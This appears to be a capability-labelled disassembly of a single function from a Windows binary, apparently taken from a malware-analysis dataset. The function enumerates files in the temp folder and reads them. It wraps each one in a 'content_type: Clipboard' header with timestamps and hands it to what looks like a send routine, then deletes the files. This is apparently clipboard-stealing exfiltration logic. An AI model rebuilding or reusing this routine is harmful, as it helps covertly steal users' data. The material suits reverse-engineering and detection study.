Function at 0x1000f760
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Read file on windows

Disassembly:
mov eax, dword [0x10030060]
sub esp, 0x544
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000fb0c
mov eax, dword [0x1003d074]
test eax, eax
je 0x1000fb0c
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x348]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x348]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
je 0x1000f7c0
mov cl, byte [esp + eax + 0x348]
lea eax, [esp + eax + 0x348]
cmp cl, 0x5c
jne 0x1000f7c0
mov byte [eax], 0
mov edi, 0x10030c58
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x348]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x34c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [0x1003d074]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_time]
mov ecx, 0x41
lea edi, [esp + 0x450]
rep stosd dword es:[edi], eax
call esi
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 4
lea eax, [esp + 0x348]
lea ecx, [esp + 0x44c]
push eax
push 0x100316cc
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x104]
lea eax, [esp + 0x44c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
push 0
mov dword [esp + 0x18], edi
call esi
mov ecx, dword [0x1003d06c]
add esp, 4
cmp eax, ecx
jl 0x1000f890
cmp eax, dword [0x1003d068]
jle 0x1000f89f
mov dword [0x1003d06c], eax
add eax, 0x12c
mov dword [0x1003d068], eax
cmp edi, 0xffffffff
je 0x1000fb0c
push ebp
push 0
call esi
mov esi, eax
add esp, 4
mov dword [esp + 0x14], esi
jmp 0x1000f8c2
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [esp + 0x14]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x248]
lea edx, [esp + 0x34c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x134]
lea eax, [esp + 0x248]
push ecx
push edx
push 0x10030690
push eax
call ebx
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x258]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__stat]
add esp, 0x18
test eax, eax
jne 0x1000fae9
mov eax, dword [esp + 0x30]
test eax, eax
mov dword [esp + 0x10], eax
jle 0x1000fadb
cmp eax, 0x3938700
jg 0x1000fadb
mov ecx, dword [esp + 0x3c]
mov eax, esi
sub eax, ecx
cdq
xor eax, edx
sub eax, edx
cmp eax, 0xb40
jle 0x1000f94b
lea eax, [esp + 0x248]
push eax
jmp 0x1000fae3
cmp esi, dword [esp + 0x38]
jle 0x1000fae9
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0xa4]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x40]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x134]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x19
jbe 0x1000f9d1
mov ecx, dword [esp + 0x134]
mov edx, dword [esp + 0x138]
mov eax, dword [esp + 0x13c]
mov dword [esp + 0xa4], ecx
mov ecx, dword [esp + 0x141]
mov dword [esp + 0xa8], edx
mov edx, dword [esp + 0x145]
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0x149]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], eax
jmp 0x1000fa25
mov edi, dword [sym.imp.MSVCRT.dll_localtime]
push 0x1003d06c
call edi
add esp, 4
test eax, eax
je 0x1000fae9
mov esi, dword [sym.imp.MSVCRT.dll_strftime]
push eax
push str._Y_m_d_H_M
lea ecx, [esp + 0xac]
push 0x64
push ecx
call esi
push 0x1003d068
call edi
add esp, 0x14
test eax, eax
je 0x1000fae9
push eax
push str._Y_m_d_H_M
lea edx, [esp + 0x48]
push 0x64
push edx
call esi
add esp, 0x10
mov eax, dword [esp + 0x10]
add eax, 0x100
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x14]
add esp, 4
lea ecx, [esp + 0x248]
mov esi, eax
push ecx
lea eax, [esp + 0x44]
push edx
lea ecx, [esp + 0xac]
push eax
push ecx
push str.content_type:_Clipboard_r_nbegtm:__s_r_nendtm:__s_r_ncontent_length:__d_r_nackfile:__s_r_n_r_n
push esi
call ebx
lea edx, [esp + 0x260]
push 0x1003016c
push edx
mov ebp, eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x20
xor ebx, ebx
test edi, edi
je 0x1000fab8
mov eax, dword [esp + 0x10]
push edi
lea ebx, [esi + ebp]
push eax
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
lea ecx, [esp + 0x20]
push ecx
push ebx
call fcn.1000ecc0
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov edx, dword [esp + 0x2c]
push 0x6789
add ebp, edx
push 0xf
push ebp
push esi
call fcn.10002e30
add esp, 0x2c
mov ebx, eax
push esi
call fcn.10010220
add esp, 4
test ebx, ebx
je 0x1000fae9
push 5
lea eax, [esp + 0x24c]
push 0
push eax
call fcn.10004ff0
add esp, 0xc
jmp 0x1000fae9
lea ecx, [esp + 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x108]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000f8b8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x544
ret